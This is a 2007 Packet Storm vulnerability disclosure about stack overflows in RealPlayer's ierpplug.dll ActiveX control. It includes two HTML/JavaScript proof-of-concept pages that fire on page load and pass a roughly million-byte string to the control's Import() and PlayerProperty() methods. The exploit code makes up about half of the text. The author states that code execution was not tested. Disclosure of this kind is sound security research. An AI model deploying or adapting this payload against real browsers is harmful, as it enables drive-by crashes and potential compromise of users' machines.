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real-overflow.txt

🗓️ 27 Nov 2007 00:00:00Reported by Elazar BroadType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

There are multiple stack overflows in the ierpplug.dll ActiveX Control. RealNetworks RealPlayer ierpplug.dll ActiveX Control PlayerProperty() Method Stack Overflow vulnerabilitie

Code
`There are multiple stack overflows in the ierpplug.dll ActiveX Control. These issues were originally discovered by shinnai, http://www.securityfocus.com/bid/22811 and http://www.securityfocus.com/bid/21802. I am adding the Import() and PlayerProperty() functions to the list. This was tested on Windows XP SP2 fully patched, using IE 6; RealPlayer version 11, build 6.0.14.738, dist R41R01, ierpplug.dll version 1.0.1.3016. I have not tested code execution. PoC as follows:  
  
------------  
<!--  
written by e.b.  
-->  
<html>  
<head>  
<script language="JavaScript" DEFER>  
function Check() {  
var s = "AAAA";  
  
while (s.length < 999999) s=s+s;  
  
var obj = new ActiveXObject("IERPCTL.IERPCTL"); //{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}  
  
  
obj.Import(s);  
var obj2 = obj.PlayerProperty(s);  
  
  
}  
</script>  
  
</head>  
<body onload="JavaScript: return Check();">  
  
</body>  
</html>   
------------  
  
After some creative Googling, I am revising my original post. I believe that the Import() method overflow that I originally posted is really http://www.securityfocus.com/bid/26130, although I am not sure why Linux is listed under the "Vulnerable" section, so I am taking it out of the PoC code. Real claims to have patched this back in October, but I can still throw a stack overflow exception via this function using the originally stated version of RealPlayer(which I installed last night). I am now listing this vulnerability as RealNetworks RealPlayer ierpplug.dll ActiveX Control PlayerProperty() Method Stack Overflow, and it might be wise to list this under a separate BID. PoC as follows:  
  
-------------  
<!--  
written by e.b.  
-->  
<html>  
<head>  
<script language="JavaScript" DEFER>  
function Check() {  
var s = "AAAA";  
  
while (s.length < 999999) s=s+s;  
  
var obj = new ActiveXObject("IERPCTL.IERPCTL"); //{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}  
  
var obj2 = obj.PlayerProperty(s);  
  
  
}  
</script>  
  
</head>  
<body onload="JavaScript: return Check();">  
  
</body>  
</html>   
-------------  
  
Elazar  
  
`

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